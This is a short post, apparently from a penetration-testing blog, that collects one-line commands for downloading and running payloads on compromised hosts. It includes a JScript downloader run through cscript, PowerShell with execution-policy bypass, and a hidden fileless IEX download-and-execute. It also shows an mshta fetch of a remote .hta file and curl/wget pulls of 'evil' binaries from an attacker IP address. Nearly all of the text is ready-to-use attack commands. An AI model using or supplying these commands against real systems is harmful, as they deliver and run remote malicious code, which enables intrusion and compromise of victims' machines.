Internal Network Security Research1 min read
One-Liner Payload Downloads (Continuously Updated)
A collection of one-liners for downloading payloads using JavaScript and cscript on Windows, fileless remote execution with PowerShell, and download-and-execute operations using curl and wget.
Read in Chinese→Download a payload with a one-line JavaScript command
All versions of Windows support JavaScript by default, which can be invoked through cscript to download a payload.
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");C:\test>cscript /nologo dowfile2.js http://192.168.1.1/eval.exeAnd the simplest PowerShell method:
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')Execute a command remotely without writing any files to disk:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"Run the following command on the remote target host to download and execute the payload without writing any files to disk:
mshta http://192.168.174.1:1234/evil.htacurl
curl http://192.168.174.1:1234/evil.exe -o evil.exewget
wget http://192.168.174.1:1234/evil.sh